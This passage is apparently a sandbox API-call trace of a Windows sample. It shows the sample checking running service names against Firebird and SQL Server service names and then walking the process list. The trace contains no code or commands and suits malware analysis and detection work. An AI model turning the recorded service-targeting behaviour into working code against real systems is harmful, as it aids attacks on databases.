lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0249.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0249.700] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0249.700] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0249.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0249.700] lstrlenW (lpString="LSM") returned 3 [0249.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0249.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0249.701] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0249.701] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0249.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0249.701] lstrlenW (lpString="MpsSvc") returned 6 [0249.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0249.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0249.701] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0249.701] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0249.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0249.701] lstrlenW (lpString="NcbService") returned 10 [0249.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0249.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0249.701] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0249.701] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0249.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0249.701] lstrlenW (lpString="netprofm") returned 8 [0249.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0249.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0249.701] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0249.701] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0249.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0249.701] lstrlenW (lpString="NgcSvc") returned 6 [0249.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0249.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0249.701] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0249.701] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0249.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0249.701] lstrlenW (lpString="NlaSvc") returned 6 [0249.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0249.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0249.701] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0249.701] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0249.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0249.701] lstrlenW (lpString="nsi") returned 3 [0249.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0249.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0249.701] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0249.701] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0249.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0249.701] lstrlenW (lpString="PcaSvc") returned 6 [0249.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0249.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0249.702] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0249.702] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0249.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0249.702] lstrlenW (lpString="PlugPlay") returned 8 [0249.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0249.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0249.702] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0249.702] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0249.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0249.702] lstrlenW (lpString="Power") returned 5 [0249.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0249.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0249.702] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0249.702] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0249.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0249.702] lstrlenW (lpString="ProfSvc") returned 7 [0249.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0249.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0249.702] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0249.702] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0249.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0249.702] lstrlenW (lpString="RpcEptMapper") returned 12 [0249.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0249.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0249.702] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0249.702] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0249.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0249.702] lstrlenW (lpString="RpcSs") returned 5 [0249.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0249.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0249.702] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0249.702] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0249.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0249.702] lstrlenW (lpString="SamSs") returned 5 [0249.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0249.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0249.703] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0249.703] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0249.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0249.703] lstrlenW (lpString="Schedule") returned 8 [0249.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0249.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0249.703] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0249.703] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0249.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0249.703] lstrlenW (lpString="SecurityHealthService") returned 21 [0249.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0249.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0249.703] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0249.703] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0249.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0249.703] lstrlenW (lpString="SENS") returned 4 [0249.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0249.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0249.703] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0249.703] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0249.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0249.703] lstrlenW (lpString="ShellHWDetection") returned 16 [0249.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0249.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0249.703] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0249.703] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0249.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0249.703] lstrlenW (lpString="Spooler") returned 7 [0249.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0249.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0249.703] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0249.703] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0249.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0249.703] lstrlenW (lpString="StateRepository") returned 15 [0249.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0249.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0249.704] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0249.704] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0249.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0249.704] lstrlenW (lpString="SysMain") returned 7 [0249.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0249.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0249.704] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0249.704] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0249.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0249.704] lstrlenW (lpString="SystemEventsBroker") returned 18 [0249.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0249.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0249.704] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0249.704] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0249.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0249.704] lstrlenW (lpString="Themes") returned 6 [0249.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0249.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0249.704] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0249.704] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0249.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0249.704] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0249.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0249.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0249.704] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0249.704] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0249.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0249.704] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0249.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0249.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0249.704] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0249.704] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0249.706] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x689148 | out: hHeap=0x640000) returned 1 [0249.706] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x240 [0249.711] Process32FirstW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0249.712] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0249.712] lstrlenW (lpString="System") returned 6 [0249.712] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0249.713] lstrlenW (lpString="smss.exe") returned 8 [0249.713] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0249.713] lstrlenW (lpString="csrss.exe") returned 9 [0249.713] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0249.714] lstrlenW (lpString="wininit.exe") returned 11 [0249.714] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0249.714] lstrlenW (lpString="csrss.exe") returned 9 [0249.714] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0249.715] lstrlenW (lpString="winlogon.exe") returned 12 [0249.715] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0249.715] lstrlenW (lpString="services.exe") returned 12 [0249.715] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0249.716] lstrlenW (lpString="lsass.exe") returned 9 [0249.716] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0249.716] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0249.716] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0249.717] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0249.717] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.717] lstrlenW (lpString="svchost.exe") returned 11 [0249.717] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.718] lstrlenW (lpString="svchost.exe") returned 11 [0249.718] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0249.718] lstrlenW (lpString="dwm.exe") returned 7 [0249.718] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.719] lstrlenW (lpString="svchost.exe") returned 11 [0249.719] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.719] lstrlenW (lpString="svchost.exe") returned 11 [0249.719] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.720] lstrlenW (lpString="svchost.exe") returned 11 [0249.720] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.721] lstrlenW (lpString="svchost.exe") returned 11 [0249.721] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.721] lstrlenW (lpString="svchost.exe") returned 11 [0249.721] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.722] lstrlenW (lpString="svchost.exe") returned 11 [0249.722] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.722] lstrlenW (lpString="svchost.exe") returned 11 [0249.722] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.723] lstrlenW (lpString="svchost.exe") returned 11 [0249.723] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.723] lstrlenW (lpString="svchost.exe") returned 11 [0249.723] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.724] lstrlenW (lpString="svchost.exe") returned 11 [0249.724] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0249.724] lstrlenW (lpString="spoolsv.exe") returned 11 [0249.724] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.725] lstrlenW (lpString="svchost.exe") returned 11 [0249.725] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x518, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0249.725] lstrlenW (lpString="audiodg.exe") returned 11 [0249.725] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0249.726] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0249.726] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0249.726] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0249.726] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0249.727] lstrlenW (lpString="Memory Compression") returned 18 [0249.727] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0249.727] lstrlenW (lpString="svchost.exe") returned 11 [0249.727] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0249.728] lstrlenW (lpString="sihost.exe") returned 10 [0249.728] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1 [0249.728] lstrlenW (lpString="MDMAgent.exe") returned 12 [0249.728] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0249.729] lstrlenW (lpString="taskhostw.exe") returned 13 [0249.729] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0249.729] lstrlenW (lpString="msoia.exe") returned 9 [0249.729] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0249.730] lstrlenW (lpString="userinit.exe") returned 12 [0249.730] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0xa28, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0249.730] lstrlenW (lpString="explorer.exe") returned 12 [0249.730] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0249.731] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0249.731] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 